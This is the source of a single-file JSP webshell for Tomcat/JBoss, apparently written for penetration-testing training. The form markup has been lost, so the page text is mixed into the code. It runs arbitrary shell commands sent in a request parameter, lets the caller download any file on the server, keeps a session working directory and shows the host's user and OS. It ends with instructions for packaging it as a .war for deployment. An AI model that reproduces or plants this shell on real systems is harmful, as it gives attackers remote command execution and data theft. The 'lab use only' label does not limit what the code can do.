rp-shell :: <%= esc(bannerHost + "

<%@ page contentType="text/html; charset=UTF-8" import="java.io.*,java.util.*,java.net.*" %> <% // ============================================================ // rp-shell.jsp — single-file JSP webshell (Rose Pine) // Works on Tomcat / JBoss / any JSP container. // Lab use only — HTB Academy / CPTS // ============================================================ boolean win = System.getProperty("os.name").toLowerCase().contains("win"); // --- working directory (persists in the HTTP session) --- String workDir = (String) session.getAttribute("rp_wd"); if (workDir == null || !new File(workDir).isDirectory()) { workDir = application.getRealPath("/"); if (workDir == null) workDir = System.getProperty("user.dir"); } String output = ""; String statusMsg = ""; // --- helpers --- String runCmd(String c, String wd) throws Exception { String[] command = win ? new String[] {"cmd.exe", "/c", "cd /d \"" + wd + "\" && " + c + " 2>&1"} : new String[] {"/bin/sh", "-c", "cd \"" + wd + "\" && " + c + " 2>&1"}; Process p = new ProcessBuilder(command).redirectErrorStream(true).start(); BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); StringBuilder sb = new StringBuilder(); String l; while ((l = r.readLine()) != null) sb.append(l).append("\n"); p.waitFor(); return sb.toString(); } String esc(String s) { if (s == null) return ""; return s.replace("&","&").replace("<","<").replace(">",">").replace("\"","""); } // --- file download: ?get= --- String dl = request.getParameter("get"); if (dl != null && !dl.equals("")) { File f = new File(dl); if (!f.isAbsolute()) f = new File(workDir, dl); if (f.isFile()) { response.reset(); response.setContentType("application/octet-stream"); response.setHeader("Content-Disposition", "attachment; filename=\"" + f.getName() + "\""); response.setContentLengthLong(f.length()); FileInputStream fis = new FileInputStream(f); OutputStream os = response.getOutputStream(); byte[] buf = new byte[8192]; int n; while ((n = fis.read(buf)) != -1) os.write(buf, 0, n); fis.close(); os.flush(); return; } statusMsg = "download failed: not found -> " + f.getAbsolutePath(); } // --- command execution --- String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.trim().equals("")) { String t = cmd.trim(); if (t.equals("cd") || t.startsWith("cd ")) { String target = t.length() > 2 ? t.substring(2).trim() : ""; if (target.equals("")) { output = workDir; } else { File nf = new File(target); if (!nf.isAbsolute()) nf = new File(workDir, target); if (nf.isDirectory()) { workDir = nf.getCanonicalPath(); session.setAttribute("rp_wd", workDir); output = ""; } else { output = "no such directory: " + target; } } } else if (t.equals("cls") || t.equals("clear")) { output = ""; } else { try { output = runCmd(cmd, workDir); } catch (Exception ex) { output = "error: " + ex.getMessage(); } } } // --- banner identity --- String bannerUser = "?", bannerHost = "?"; try { bannerUser = runCmd(win ? "whoami" : "id", workDir).trim(); } catch (Exception e) {} try { bannerHost = InetAddress.getLocalHost().getHostName(); } catch (Exception e) {} %> rp-shell :: <%= esc(bannerHost + " :: " + bannerUser) %>

remote <%= esc(request.getRemoteAddr()) %> :: os <%= esc(System.getProperty("os.name")) %> :: java <%= esc(System.getProperty("java.version")) %> :: server <%= esc(application.getServerInfo()) %>

cwd :: <%= esc(workDir) %>

<%= esc(output) %>

<%= esc(statusMsg) %>

os auto-detected (<%= win ? "windows — cmd.exe /c" : "linux — /bin/sh -c" %>) :: cd persists in the JSP session :: deploy as a .war: jar -cvf shell.war rp-shell.jsp → /shell/rp-shell.jsp :: delete during cleanup